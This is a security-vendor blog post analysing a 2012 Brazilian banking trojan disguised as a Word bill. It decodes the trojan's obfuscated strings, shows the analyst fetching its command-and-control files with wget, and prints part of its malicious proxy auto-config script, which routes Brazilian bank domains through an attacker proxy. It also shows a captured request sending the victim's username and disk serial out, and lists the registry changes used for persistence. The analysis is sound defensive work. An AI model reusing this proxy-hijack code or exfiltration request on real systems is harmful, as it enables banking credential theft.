Blogs & Stories

SpiderLabs Blog

Attracting more than a half-million annual readers, this is the security community's go-to destination for technical breakdowns of the latest threats, critical vulnerability disclosures and cutting-edge research.

Brazilian Banking Malware: Pay Your Bill Slacker!

I recently got wind of an interesting little sample that I believe originated as part of a Brazilian phishing attack. The sample appears to still be quite unknown, as VirusTotal reports currently (VirusTotal Report) reports the sample as being detected by 3/42 (April 25, 2012). The original submission to VirusTotal on April 23, 2012 at 4:20 revealed no detections by the 42 anti-virus engines in use. I should point out I'm not trying to pick on the A/V companies, just using this as a guage to determine how well-known it is.

Anyways, the malware is a straightforward PE executable that is made to look like a word document. In addition to being named boleto.doc.exe, the file also comes with a Microsoft Word icon, which looks like the following:

Screen shot 2012-04-25 at 3.07.20 PM

For those curious, boleto roughly translates to "Bill" in English. Using this knowledge, I believe it's fair to guess that the phishing campaign was using the guise of telling individuals that they owed money, and to view the attached document to view their bill. This was actually one of the few instances where Google Translate failed me while analyzing this malware, and I was forced to ask one of my Brazilian co-workers for assistance.

As soon as I dug into this beauty, I could tell I was in for some fun. Just knowing the file size (1.5 MB) alone told me it was going to be packed with goodies. In order to get some quick wins, I used one of the lamest, and possibly, most useful techniques a reverse engineer could use-- I ran strings against it. This quick method revealed the following:

  • Appears to be compiled in Borland Delphi (always a good time /sarcasm)
  • It's clearly performing some kind of network activity
  • It looks like the malware authors statically linked an Open Source library called Indy.Sockets (http://www.indyproject.org/index.en.aspx). This certainly explains the large size of the executable

Now that I've been able to get a better feel for some of the characteristics of this malware, we can start to dig in further. One item which sticks out to my right away is a number of (likely) obfuscated strings that get piped into the same function, like so:

Screen shot 2012-04-25 at 1.44.20 PM

I would bet good money that this function is de-obfuscating these strings in some fashion, and sure enough, after digging enough, I was able to discover that a ROT-3 obfuscation technique was being used. I'm sad to say it took me far to long (in my opinion) to discover this, but most of that had to do with my lack of experience with Delphi. For those that have reversed Delphi, I'm sure you know what I mean. but anyways, I was able to quickly revert these strings to their actual representation via the following:

1.9.2p290 :003 > "Xvxdulr=#".each_byte{|x| print (x-3).chr}
Usuario: => "Xvxdulr=#"

1.9.2p290 :004 > "Vhuldo#Kg=#".each_byte{|x| print (x-3).chr}
Serial Hd: => "Vhuldo#Kg=#"

Using this method, I was able to extract the following strings:

  • http://91.194.xx.xxx/puxar.ini
  • to=
  • xxxxbruno557@gmail.com
  • subject=
  • Usuario:
  • message=
  • Serial Hd:
  • http://www.lifexxxxxxx.ca/atendimento.php
  • \win.ini

I should point out that "Usuario" is Portugese for "User". Also, "atendimento" roughly translates to "treatment". This was one of those cases where Google Translate saved me from having to bug my coworker.

This information helps to further paint a picture, as we can see references to an ini file, as well as a php file. Since we've got these URLs, it would be good to know what sort of information they hold. Using our good friend wget, we can clear up some of this information:

JGrunzweig - ~> wget -O - http://www.lifexxxxxx.ca/atendimento.php
--2012-04-25 15:50:51-- http://www.lifexxxxx.ca/atendimento.php
Resolving www.lifexxxxx.ca... 64.26.xxx.xx
Connecting to www.lifexxxxx.ca|64.26.xxx.xx|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified
Saving to: `STDOUT'

No recipient addresses found in header
X-Powered-By: PHP/5.2.9-20090427
Content-type: text/html

You know what this PHP file looks like? Well, if I had to guess, I'd say it was some email script, which would explain some of the obfuscated strings we saw above, such as "subject=" and "message=". While looking at this URL in a sandboxed environment, the site itself appears to be legitimate. It is possible that the site was compromised and this file was uploaded. A more likely situation is that the site simply was using an insecure email utility written in PHP that allowed unauthenticated email requests. This allows the attacker to essentially use an email proxy for any messages received. The second URL returned the following:

JGrunzweig - ~> wget -O - http://91.194.xx.xxx/puxar.ini
--2012-04-25 15:49:11--
Connecting to 91.194.xx.xxx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 349 [text/plain]
Saving to: `STDOUT'


The information immediately above looks quite similar to the obfuscated strings we saw earlier. Using the same ROT-3 technique, we're able to decode the above to the following:

A1=\Software\Microsoft\Windows\CurrentVersion\Internet Settings

Again, we can start to piece together what this malware is doing even before we perform dynamic testing. We can guess that the registry keys abovewill be modified, a number of requests will be made to the http:// URLs seen up until now, and we can guess that the victim's proxy will be configured to point at the 2.pac file.

For those unaware, pac files, or proxy auto-config files, define how browsers proxy certain requests based on the domain. An example pac file can be seen below:

function FindProxyForURL(url, host)
return "PROXY proxy.example.com:8080; DIRECT";

Looking at the 2.pac file we discovered above, we can see the following:

function enc(str) {
var encoded = "";
for (i=0; i<str.length;i++) {
var a = str.charCodeAt(i);
var b = a ^ 24;
encoded = encoded+String.fromCharCode(b);
return encoded;

function FindProxyForURL(url, Servidor)

var ConfigDestino = "PROXY 64.120.xxx.xxx:80";

if (shExpMatch(Servidor, enc("qlym6{wu6zj")))
return ConfigDestino;
if (shExpMatch(Servidor, enc("ooo6qlym6{wu6zj")))
return ConfigDestino;
if (shExpMatch(Servidor, enc("pwluyqt6{wu")))
return ConfigDestino;
if (shExpMatch(Servidor, enc("ooo6pwluyqt6{wu")))
return ConfigDestino;
--- Truncated ---

See those strings above? That's right boys and girls, more string obfuscation! Honestly though, I always get a kick out of string obfuscation. It's like a puzzle where half of the pieces are corner or edge pieces. In other words, it's a puzzle that I can solve easily, which in turn makes me feel warm and fuzzy inside.

Unlike the string obfuscation we saw earlier, this one appears to be performing an XOR against a character. However, if we look at the enc() function closely, we can see the following:

for (i=0; i<str.length;i++) {
var a = str.charCodeAt(i);
var b = a ^ 24;

We can see that each character is first being converted to its decimal representation before the XOR takes place. Additionally, it is being XORed against another Base10 number, before it is converted back to its ASCII representation. It looks something like this in Ruby (using the first obfuscated string as an example):

1.9.2p290 :039 > "qlym6{wu6zj".each_byte{|x| print (x^24).chr}
itau.com.br => "qlym6{wu6zj"

Using this technique, we can extract the following domains:

  • itau.com.br
  • www.itau.com.br
  • hotmail.com
  • www.hotmail.com
  • hotmail.com.br
  • www.hotmail.com.br
  • santander.com.br
  • www.santander.com.br
  • santanderempresarial.com.br
  • www.santanderempresarial.com.br
  • sicredi.com.br
  • www.sicredi.com.br
  • hsbc.com.br
  • www.hsbc.com.br
  • citibank.com.br
  • www.citibank.com.br
  • citiold.com.br
  • www.citiold.com.br
  • bradescoprivatebank.com.br
  • www.bradescoprivatebank.com.br
  • brb.com.br
  • www.brb.com.br
  • bradesco.com.br
  • www.bradesco.com.br
  • bradescoprime.com.br
  • www.bradescoprime.com.br
  • cellcard.com.br
  • www.cellcard.com.br

So essentially, if a victim is using this pac file, anytime they attempt to navigate to one of the above domains, the request will be proxied through 64.120.xxx.xxx:80. I think at this point it's pretty safe to run this sample in an isolated sandboxed environment, just to ensure that the malware is in fact doing what we suspect it is. Sure enough, we see the following:

The malware begins by opening a browser to the http://acxxx.com.br/informativo/link-dos-boletos/ site. This was not an obfuscated string, but instead simply in the clear. At the time of writing this, that URL provided a 404 Not Found response. It is possible, however, that this site hosted malicious content in the past. Another potential reason for the malware opening this URL may be due to the phishing ploy being used. It is hard to know for sure without seeing the point of origin of this malware.

The malware then proceeds to deobfuscate the first batch of strings, and proceeds to make a request to the PHP script identified earlier. The request looks similar to the following:

POST /atendimento.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Host: www.lifexxxxx.ca
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)


HTTP/1.1 200 OK
Server: INetSim HTTP Server
Connection: Close
Content-Length: 97
Content-Type: application/x-httpd-php
Date: Wed, 25 Apr 2012 15:00:24 GMT

No recipient addresses found in header
X-Powered-By: PHP/5.2.9-20090427
Content-type: text/html

I'm using one of my favorite tools (INetSim) in order to create a mock HTTP server. We can see that an email is being sent to the gmail.com address with the subject of "Usuario: TRUSTWAV-C8C316", or the hostname of my sandboxed environment. Additionally, we can see the parameter of message is configured to "Serial Hd: BC095F64", which is retrieved via the GetVolumeInformation function (More Info).

The malware then procceds to make the request to the http://91.194.xx.xxx/puxar.ini URL we previously discovered. This file is downloaded and saved to the victim's TEMP directory as 'win.ini'. In my case this was 'C:\Documents and Settings\Josh\Local Settings\Temp\win.ini'. This file is then immediately decrypted and the values are read in. The following registry keys are modified:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableHttp1_1 - 0
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable - 0
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\MigrateProxy - 0
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL - http://www.cxxxxx.com.br/2.pac
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\LogConfig - C:\Documents and Settings\Josh\Desktop\boleto.doc.exe

These modified registry keys accomplish two very important things. For one, the malware is ensuring persistence by setting itself in the 'Run' registry key. This will cause the malware the run every time that user logs into their machine. The second component is configuring Internet Explorerto point to the remote 2.pac file and use this file for any proxy information. Using the information discovered earlier, we can now see that this malware is attempting to proxy connections for a select number of domains through their external host.

To wrap things up, the malware attempts to hide itself by setting the Hidden and System file attributes. This can be seen below:

Screen shot 2012-04-26 at 9.06.39 AM

If we set the Hidden and System attributes, we can see the malware:

Screen shot 2012-04-26 at 9.06.57 AM

In summation, Brazilian trojans that target financial institutions by configuring proxy settings are nothing new. They've been around for a while. This particular sample provided a few simplistic tricks to prevent detection, but overall it was somewhat trivial. The lack of detection on this sample is somewhat concerning, as many end users are at risk. I look forward to the (hopefully) increased detection by antivirus in the coming days.